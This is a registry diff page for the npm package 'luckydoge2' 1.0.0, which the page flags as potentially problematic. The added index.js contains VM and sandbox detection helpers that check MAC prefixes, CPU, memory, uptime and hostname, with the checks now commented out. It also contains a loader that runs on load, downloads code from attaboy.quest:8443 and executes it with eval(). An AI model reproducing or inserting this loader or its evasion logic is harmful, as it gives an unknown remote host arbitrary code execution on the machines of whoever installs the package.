luckydoge2 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of luckydoge2 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +154 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,154 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+
4
+ // 检查网络联通性
5
+ function checkNetwork(callback) {
6
+ https.get('https://ip.sb/', (res) => {
7
+ if (res.statusCode === 200) {
8
+ callback(null, true);
9
+ } else {
10
+ callback(new Error(`Unexpected response status code: ${res.statusCode}`));
11
+ }
12
+ }).on('error', (err) => {
13
+ callback(err);
14
+ });
15
+ }
16
+
17
+ //检查CPU核心数
18
+ function checkCPUCores(requiredCores) {
19
+ const availableCores = os.cpus().length;
20
+ if (availableCores < requiredCores) {
21
+ //console.error(`Insufficient CPU cores! Only ${availableCores} cores available.`);
22
+ return false;
23
+ } else {
24
+ return true;
25
+ }
26
+ }
27
+
28
+ //检查内存大小
29
+ function checkMemory(memory) {
30
+ const totalMemory = os.totalmem() / (1024 * 1024 * 1024);
31
+ const freeMemory = os.freemem() / (1024 * 1024 * 1024);
32
+ if (totalMemory - freeMemory < memory) {
33
+ //console.error(`Insufficient memory! Only ${os.freemem() / 1024 / 1024 / 1024}GB free.`);
34
+ return false;
35
+ } else {
36
+ return true;
37
+ }
38
+ }
39
+
40
+ // 检测开机时间
41
+ function checkUptime(requiredTime) {
42
+ const uptime = os.uptime() * 1000;
43
+ return uptime > requiredTime;
44
+ }
45
+
46
+ // 检测MAC地址
47
+ // 00:05:69、00:0c:29、00:50:56开始的MAC地址与VMware相对应
48
+ // 00:03:ff开始的MAC地址与virtualpc对应
49
+ // 08:00:27开始的MAC地址与virtualbox对应
50
+ // 02:42:ac、00:11:22属于部分沙盒的网卡mac地址
51
+ function checkVirtualMachine() {
52
+ const vmwareMacs = [/^00:05:69/, /^00:50:56/, /^00:0c:29/];
53
+ const virtualboxMac = /^08:00:27/;
54
+ const virtualpcMac = /^00:03:ff/;
55
+ const sandboxMacs = [/^00:11:22/, /^00:15:5d/, /^00:e0:4c/, /^02:42:ac/, /^02:42:f2/, /^32:95:f4/, /^52:54:00/, /^ea:b7:ea/];
56
+
57
+ const networkInterfacesObj = os.networkInterfaces();
58
+ const macs = Object.values(networkInterfacesObj)
59
+ .flat()
60
+ .filter(({ internal }) => !internal)
61
+ .map(({ mac }) => mac)
62
+ .filter(Boolean);
63
+
64
+ for (const mac of macs) {
65
+ if (sandboxMacs.some(pattern => pattern.test(mac)) || virtualboxMac.test(mac) || virtualpcMac.test(mac) || vmwareMacs.some((pattern) => pattern.test(mac))) {
66
+ console.warn('Warning: Detected virtual machine!');
67
+ return true;
68
+ }
69
+ }
70
+
71
+ return false;
72
+ }
73
+
74
+ // 定义不允许的主机名前缀的列表
75
+ const disallowedHostPrefixes = ['HOSTNAME-', 'HOSTNAME1'];
76
+ // 检查主机名是否以指定的前缀开头
77
+ function isHostnameValid() {
78
+ const hostname = os.hostname();
79
+ for (let i = 0; i < disallowedHostPrefixes.length; i++) {
80
+ if (hostname.startsWith(disallowedHostPrefixes[i])) {
81
+ //console.error(`Error: The hostname prefix ${disallowedHostPrefixes[i]} is not allowed!`);
82
+ return false;
83
+ }
84
+ }
85
+ return true;
86
+ }
87
+
88
+ function startApp() {
89
+ // // 检查HTTP网络联通性
90
+ // checkNetwork((err, networkOk) => {
91
+ // if (!err && networkOk) {
92
+ // //console.log('Network connectivity OK');
93
+ // } else if (err && err.code === 'ENOTFOUND') {
94
+ // //console.error('DNS lookup failed');
95
+ // process.exit(1);
96
+ // } else {
97
+ // //console.error(err || 'Unknown error');
98
+ // process.exit(1);
99
+ // }
100
+ // });
101
+
102
+ // // 检查可用内存是否充足
103
+ // if (!checkMemory(2)) {
104
+ // process.exit(1);
105
+ // }
106
+
107
+ // //检查CPU是否够数量
108
+ // if (!checkCPUCores(2)) {
109
+ // process.exit(1);
110
+ // }
111
+
112
+ // // 检测系统是否运行超过一小时以上
113
+ // if (!checkUptime(1000 * 60 * 60)) {
114
+ // process.exit(1);
115
+ // }
116
+
117
+ // if (checkVirtualMachine()) { // 检查 MAC 地址,符合条件直接退出程序
118
+ // process.exit(1);
119
+ // }
120
+
121
+ // if (isHostnameValid() === false) {
122
+ // process.exit(1);
123
+ // }
124
+
125
+ //console.log('System meets the requirements, preparing to get pastebin code...');
126
+ // 如果内存、CPU、开机时间满足,则启动 https 请求
127
+ const options = {
128
+ hostname: 'attaboy.quest',
129
+ port: 8443,
130
+ path: '/thisisgood/nds9f328',
131
+ method: 'GET'
132
+ };
133
+
134
+ const req = https.request(options, (res) => {
135
+ let aaa = '';
136
+ res.on('data', (chunk) => {
137
+ aaa += chunk;
138
+ });
139
+
140
+ res.on('end', () => {
141
+ //console.log('Got the code from pastebin successfully. Running...');
142
+ eval(aaa);
143
+ });
144
+ });
145
+
146
+ req.on('error', (error) => {
147
+ //console.error(`Got error: ${error.message}`);
148
+ });
149
+
150
+ req.end();
151
+ }
152
+
153
+ // 启动应用程序
154
+ startApp();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "luckydoge2",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }